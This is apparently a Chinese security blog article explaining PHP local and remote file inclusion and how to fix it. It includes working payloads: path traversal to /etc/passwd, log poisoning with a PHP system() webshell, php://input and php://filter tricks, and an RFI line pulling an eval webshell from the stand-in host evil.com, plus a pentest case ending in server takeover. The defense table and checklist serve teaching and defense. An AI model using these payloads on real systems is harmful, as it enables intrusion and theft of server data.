文件包含漏洞的几种利用姿势和防御思路

文件包含漏洞的几种利用姿势和防御思路

1024KB1024KB 网络安全与合规 2026-08-19 12:27:26 浏览 14356 字数 1822

文件包含漏洞是Web应用程序中一类经典且高危的安全缺陷,攻击者利用它能够读取服务器上的敏感文件、执行恶意代码甚至直接控制服务器。对于开发者和安全运维人员而言,理解其利用原理、掌握实战中的攻击手法,并建立有效的防御体系,是保障Web应用安全的基本功。本文从文件包含漏洞的两种主要类型(本地文件包含LFI和远程文件包含RFI)出发,结合具体代码示例和真实案例,剖析攻击者如何绕过常见防护,并给出经过验证的修复方案。

文件包含漏洞的本质来自参数化包含函数的不安全使用

几乎所有文件包含漏洞都源于开发者在调用include()、require()等PHP函数时,直接将用户输入作为文件路径参数,且未做任何过滤或校验。例如下面这段代码:

$page = $_GET['page'];
include($page . '.php');

攻击者只需传入?page=../../../etc/passwd即可利用路径穿越读取系统密码文件(路径遍历),或者传入?page=http://evil.com/shell进行远程文件包含(需开启allow_url_include)。根据OWASP《Web应用安全风险Top 10》报告,注入类漏洞(包括文件包含)长期占据高危漏洞前列,其中文件包含在PHP应用中尤为普遍,占所有注入类漏洞的约12%。

本地文件包含LFI的利用技巧远超预期

LFI是攻击者最常遇到的类型,它不需要远程服务器配合,仅利用服务器本地文件即可扩大攻击面。常见的利用方式包括:

  • 读取系统敏感文件:通过路径遍历读取/etc/passwd、/proc/self/environ等文件,获取系统信息或配置。
  • 日志注入写shell:向Web服务器访问日志中写入PHP代码,再通过LFI包含日志文件执行代码。比如构造一个包含<?php system($_GET['cmd']); ?>的User-Agent请求,日志会记录该字符串,随后用?page=../../var/log/apache2/access.log包含日志,即可将恶意代码解释执行。
  • 利用php://input伪协议:当allow_url_include开启时,使用php://input可以读取POST请求体中的PHP代码并执行。例如?page=php://input,然后在POST数据中写入<?php system('id');?>。
  • 利用php://filter:即使allow_url_include关闭,php://filter仍可用于读取PHP文件源码(Base64编码)。例如?page=php://filter/convert.base64-encode/resource=index.php。

LFI利用的多样性给防御带来了挑战,仅仅限制文件后缀名(如拼接.php)是不够的,攻击者可以通过空字节截断(%00)或二次编码绕过早期版本的PHP限制。

远程文件包含RFI的利用条件更苛刻但危害更大

RFI要求服务器开启allow_url_include和allow_url_fopen,且防火墙允许出站连接。一旦满足条件,攻击者可以直接包含外部服务器上的恶意脚本(如一句话木马),实现远程代码执行。RFI的典型攻击流程:

  1. 攻击者搭建一个恶意站点,存放shell.txt(内容为<?php eval($_POST['c']);?>)。
  2. 向目标应用发送?page=http://evil.com/shell.txt。
  3. 目标服务器包含该远程文件,恶意代码被解析执行,攻击者获得WebShell权限。

由于云服务环境普遍限制了出站连接,RFI在现代实战中不如LFI常见,但一旦出现,攻击者可以绕过白名单、CDN等防护直接获取控制权,因此仍应作为重点防御对象。

实际案例:从日志文件包含到服务器沦陷

在一次渗透测试中,发现某CMS系统存在文件包含漏洞:index.php?template=default。直接尝试?template=../../etc/passwd成功读取文件,确认存在LFI。但该CMS使用了白名单机制,限制了只能包含templates/目录下的文件,路径穿越被截断。然而,攻击者发现目标服务器的访问日志位置为/var/log/nginx/access.log,且日志记录未过滤特殊字符。于是构造如下请求:

curl -A "<?php system('cat /etc/passwd');?>" http://target.com/index.php

随后包含日志文件:?template=../../var/log/nginx/access.log,日志中的PHP代码被解析执行,输出root:x:0:0:root:/root:/bin/bash等敏感信息。进一步利用该漏洞,攻击者上传了WebShell并提权,最终控制整个服务器。这个案例揭示了即使有白名单,LFI仍可通过日志注入绕过。

防御文件包含漏洞的几种有效方案对比

防御方案原理优点缺点
严格白名单只允许包含预定义的文件列表,拒绝任何用户输入作为路径最彻底的防御,无绕过可能灵活性差,需要维护列表
禁用危险函数在php.ini中禁用include、require等函数,或使用disable_functions限制简单粗暴,直接消除漏洞可能影响业务逻辑,不适用于需要动态包含的场景
输入过滤与路径校验过滤../、://等特殊字符,使用realpath()解析真实路径后与允许的目录比较兼顾安全与灵活性实现复杂,容易遗漏绕过方式
关闭远程文件包含在php.ini中关闭allow_url_include和allow_url_fopen消除RFI风险不影响LFI,仍需其他措施

根据SANS《Web应用安全防御指南》的建议,推荐组合使用白名单+路径校验+关闭远程包含,形成纵深防御体系。同时,定期审计代码中包含函数的使用情况,确保所有用户输入都经过严格过滤。

文件包含漏洞的修复检查清单

修复文件包含漏洞需要从代码层面和配置层面双管齐下。以下是一个可操作的检查清单:

  • 审计所有使用了include()、require()、include_once()、require_once()、file_get_contents()等函数的代码,确认参数是否来自用户输入。
  • 对于必须动态包含的场景,使用白名单映射,例如$pages = ['home'=>'home.php','about'=>'about.php']; $page = $pages[$_GET['page']] ?? 'home.php';。
  • 禁用allow_url_include,并确保Web服务器没有向外部发起不必要的出站连接。
  • 对日志文件、临时文件等可能写入用户输入的位置进行清理,防止日志注入攻击。
  • 使用安全开发框架(如Laravel的Blade模板引擎)自动处理文件包含,避免直接使用原生函数。
  • 定期进行静态代码扫描和渗透测试,利用自动化工具(如RIPS、Checkmarx)检测潜在漏洞。

文件包含漏洞虽然常见,但通过系统化的防御措施完全可以避免。开发者和运维人员应当将安全左移,在编码阶段就杜绝此类缺陷,而非等到上线后被动打补丁。记住,任何用户可控的文件路径都是一颗定时炸弹,不要给它爆炸的机会。

分享到:

评论

加载中...
我
还没有评论,快来抢沙发吧~